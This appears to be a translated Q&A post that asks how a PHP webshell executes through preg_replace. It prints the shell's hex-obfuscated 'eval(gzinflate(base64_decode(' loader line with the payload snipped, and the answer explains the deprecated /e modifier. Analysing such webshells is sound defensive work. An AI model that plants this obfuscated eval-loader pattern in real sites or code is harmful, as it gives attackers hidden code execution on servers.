谁能解释这个 PHP 代码是如何执行的,因为 preg_replace 是唯一的功能

Can anyone explain how this PHP code gets executed as preg_replace is the only function

谁能解释一下这是如何执行的?这是一个 webshel​​l,我能看到的唯一功能是 preg_replace。我通常看到的 webshel​​ls 是 base64 编码的,然后只是 eval()ed,但是这个使用 preg_replace() 作为最终函数。

preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tVxs<<SNIPPED>>Hhkj6Yn/xc='\x29\x29\x29\x3B",".");?>

代码太长所以我只贴了一部分代码。您可以查看 full source here

这部分

\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28

等于

eval(gzinflate(base64_decode(

但它仍在双引号内,因此仍应将其视为字符串,还是我遗漏了什么?

/e 是一个 PCRE 修饰符 (PREG_REPLACE_EVAL),它在替换前将字符串计算为 PHP。由于没有发生替换,它会准确评估您复制的内容。 PHP 5.5 后触发 DEPRECATED,7.0 后,由于安全问题已被删除。

PCRE修饰符可以找到相应的文档here